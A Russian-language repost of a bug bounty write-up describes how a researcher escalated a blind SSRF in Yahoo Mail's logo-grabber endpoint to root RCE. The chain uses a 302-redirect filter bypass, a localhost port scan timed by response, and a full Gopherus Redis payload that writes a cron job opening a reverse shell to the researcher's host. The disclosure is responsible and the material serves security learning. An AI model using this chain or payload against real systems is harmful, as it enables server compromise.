Информационная безопасность (ИБ)
January 15

Just Gopher It: Превращение слепого SSRF в RCE за 15 000 $ — Yahoo Mail

Часть 1: Разведка

Обычно в bug bounty программе с большим скоупом я начинаю с перечисления субдоменов, чтобы увеличить площадь атаки, но в этом случае я сосредоточился на одном веб-приложении моей цели (Yahoo Mail).

Поскольку я ориентировался только на одно веб-приложение, я начал с инструмента GAU, чтобы получить список URL-адресов и конечных точек. Также я просматривал различные JavaScript-файлы в поисках скрытых конечных точек и провел fuzzing директорий с помощью Ffuf. Таким образом я нашел несколько интересных конечных точек, но ничего, что выглядело бы уязвимым.

Так как первый метод разведки ничего не дал, я попробовал другой — тестирование различных функций веб-приложения, работая с запущенным в фоновом режиме Burp прокси. Все выполненные запросы сохраняются в организованном списке в Burp, что облегчает их просмотр и поиск чего-нибудь интересного или потенциально уязвимого.

После тестирования функций веб-приложения я начал просматривать запросы, сохраненные в журнале прокси, и наткнулся на запрос, похожий на этот:

GET /xxx/logoGrabber?url=http://example.com
Host: mail.yahoo.com
...

GET-запрос, который принимает URL-параметр. Ответ на этот запрос выглядел так и содержит информацию о заголовке и логотипе URL:

{"responseTime":"99999ms","grabbedUrl":"http://example.com","urlInfo":{"pageTitle":"Example Title","pageLogo":"pagelogourl"}}

Этот запрос сразу привлёк моё внимание, потому что он возвращал некоторые данные о URL. Каждый раз, когда вы сталкиваетесь с запросом, который возвращает информацию с URL, хорошей идеей будет протестировать его на SSRF.

Часть 2: Обнаружение SSRF

Мои первые попытки эксплуатации SSRF не увенчались успехом. Мне удалось наладить внешнее взаимодействие с моим сервером, но не удалось достучаться до внутренних IP-адресов из-за наличия защиты.

После того как я не смог попасть на внутренние IP-адреса, я решил попробовать атаковать публично известные корпоративные субдомены Yahoo. Я провел перечисление субдоменов и затем начал отправлять запросы ко всем найденным доменам.

В какой-то момент мне повезло, и я обнаружил запросы, которые возвращали данные о заголовке с сайтов, которые не были публично доступны.

Хороший пример этого — субдомен somecorpsite.yahoo.com. Когда я пытался зайти на http://somecorpsite.yahoo.com в своем браузере, запрос просто завершался по тайм-ауту. Но когда я отправил запрос:

GET /xxx/logoGrabber?url=http://somecorpsite.yahoo.com
Host: mail.yahoo.com
...

Ответ содержал внутренний заголовок и информацию о логотипе:

{"responseTime":"9ms","grabbedUrl":"http://somecorpsite.yahoo.com","urlInfo":{"pageTitle":"INTERNAL PAGE TITLE","pageLogo":"http://somecorpsite.yahoo.com/logos/logo.png"}}

Теперь, когда я смог получить доступ к внутренним поддоменам, чтобы увидеть заголовки и URL-адреса логотипов, я решил отправить отчет о слепой SSRF (Server-Side Request Forgery). Внутренняя информация о заголовке не содержала ничего слишком конфиденциального, и никакое другое содержимое страниц не было возвращено, поэтому я предположил, что это будет считаться довольно малозначительным слепым SSRF. Однако у меня закончились идеи, как это можно было бы усугубить, и я решил отправить отчет в текущем виде.

Спустя некоторое время отчет был принят и отправлен на рассмотрение.

Часть 3: RCE (Удалённое выполнение кода)

Прошел примерно месяц с тех пор, как мой первоначальный отчет был принят на рассмотрение. Я был рад, что его триажировали, но понимал, что воздействие низкое, и, скорее всего, я не получу от этого ничего значительного.

SSRF всё ещё оставался и не был исправлен, поэтому я решил провести дополнительные исследования, чтобы попытаться раскрутить уязвимость. В процессе исследований я узнал, что протокол Gopher является отличным способом для эскалации SSRF, и в некоторых случаях это может привести к полному удалённому выполнению кода (RCE).

Чтобы проверить, поддерживается ли протокол Gopher, я отправил запрос, подобный следующему:

GET /xxx/logoGrabber?url=gopher://myburpcollaboratorurl
Host: mail.yahoo.com
...

К сожалению, запрос сразу завершился неудачей и привел к ошибке. Запроса к моему Burp collaborator так и не поступило, поэтому казалось, что протокол Gopher не поддерживается.

Продолжая тестирование, я прочитал в интернете, что перенаправления могут быть отличным способом обхода некоторых мер защиты от SSRF, поэтому решил проверить, следит ли сервер за перенаправлениями.

Чтобы проверить, работают ли перенаправления, я настроил Python HTTP-сервер, который перенаправлял весь GET-трафик на URL моего Burp collaborator с кодом 302:

python3 302redirect.py port “http://mycollaboratorurl/

Затем я отправил запрос, подобный следующему, чтобы проверить, приведёт ли редирект к моему collaborator:

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: mail.yahoo.com
...

После отправки запроса я заметил, что редирект был выполнен, в результате чего был зафиксирован запрос на мой Burp Collaborator. Таким образом, я подтвердил, что редиректы с кодом 302 выполняются…

Теперь, когда у меня заработали редиректы, я решил протестировать это с протоколом gopher. Первоначальная отправка gopher-пэйлоада напрямую в запросе вызывала ошибку сервера, поэтому я настроил сервер редиректов следующим образом:

python3 302redirect.py port “gopher://mycollaboratorurl/”

Затем снова отправил запрос на мой сервер

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: mail.yahoo.com
...

К моему удивлению, запрос был успешным — редирект сработал, и я получил запрос на URL моего Burp Collaborator! Был какой-то фильтр против URL с Gopher протоколом, но если я перенаправлял с собственного сервера, фильтр легко обходился; редирект срабатывал, и Gopher-пейлоад выполнялся!

Через редирект выполнялись не только Gopher-пейлоады. Я осознал, что теперь могу обращаться и к внутренним IP-адресам, таким как 127.0.0.1, которые ранее были отфильтрованы.

Теперь, когда у меня начали работать полезные нагрузки и я мог обращаться к внутренним хостам, мне нужно было выяснить, с какими сервисами я мог взаимодействовать для эскалации. После некоторых поисков я наткнулся на инструмент Gopherus, который генерирует полезные нагрузки Gopher для эскалации SSRF. Он включает полезные нагрузки для следующих сервисов:

- MySQL (порт 3306)
- FastCGI (порт 9000)
- Memcached (порт 11211)
- Redis (порт 6379)
- Zabbix (порт 10050)
- SMTP (порт 25)

Чтобы определить, открыты ли какие-либо из этих портов на 127.0.0.1, я использовал SSRF и время отклика для сканирования портов.

Для этого я выполнял 302 редирект с моего веб-сервера на gopher://127.0.0.1:порт, а затем отправлял запрос.

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: mail.yahoo.com
...

Я мог определить открытые порты, потому что время отклика запроса было долгим, если порт закрыт, и коротким, если порт открыт. Используя этот метод сканирования портов, я проверил все 6 указанных выше портов. Один из портов, похоже, был открыт — порт 6379 (Redis).

302redirect → gopher://127.0.0.1:3306 [Response time: 3000ms]-CLOSED
302redirect → gopher://127.0.0.1:9000 [Response time: 2500ms]-CLOSED
302redirect → gopher://127.0.0.1:6379 [Response time: 500ms]-OPEN
etc…

Теперь всё стало выглядеть действительно хорошо. Казалось, у меня есть всё, что нужно:

- Протокол Gopher, принимающий 302 редирект
- Возможность отправлять gopher-пейлоады на localhost
- Идентифицирована потенциально уязвимая служба, работающая на localhost

Используя Gopherus, я сгенерировал пейлоад для реверс-оболочки Redis, который в итоге выглядел так:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

Если бы этот пейлоад оказался успешным, это привело бы к выпонению обратной оболочки (reverse shell) на мой netcat. Я запустил свой сервер для выполнения 302 редиректа на gopher-пейлоад следующим образом:

python3 302redirect.py port "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/x.x.x.x/1337%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2414%0D%0A/var/lib/redis%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A"

Как только мой веб-сервер был запущен, я также начал слушать на порту 1337 с помощью Netcat, чтобы поймать любой входящий обратный шелл.

И вот, наконец, момент истины. Я отправил запрос:

GET /xxx/logoGrabber?url=http://my302redirectserver/
Host: mail.yahoo.com
...

И… ничего. Ничего не произошло. Я увидел, что запрос пришел на мой сервер перенаправления, но обратного шелла к моему Netcat так и не вернулось. На этом все, подумал я. Никакого RCE.

Я предположил, что, возможно, мой скан портов дал ложноположительный результат и на localhost никакого Redis сервера не запущено.

Я принял поражение и начал всё закрывать. Я буквально держал курсор мыши на кнопке закрытия в терминале, в котором запускался netcat, в миллисекундах от того, чтобы нажать и закрыть его, когда вдруг...

Честно говоря, я не понимаю, почему такая задержка, но через 5 минут после отправки запроса я получил обратную оболочку. Я так рад, что оставил слушатель включённым, иначе я бы никогда не узнал, что получил удалённое выполнение кода.

Я запустил команду whoami, чтобы убедиться, что у меня действительно есть RCE (и я был root!), а потом сразу отключился и обновил свой изначальный отчёт, добавив новую информацию.

Эта уязвимость была обнаружена/зарегистрирована в мае 2020 года и на данный момент закрыта как исправленная.

В итоге я получил выплату в размере $15,000 за это обнаружение, а также несколько приятных комплиментов от The Paranoids!

Источник

Life-Hack Media:

Life-Hack - Жизнь-Взлом

OSINT

Новости Кибербеза

Курсы по программированию

Юмор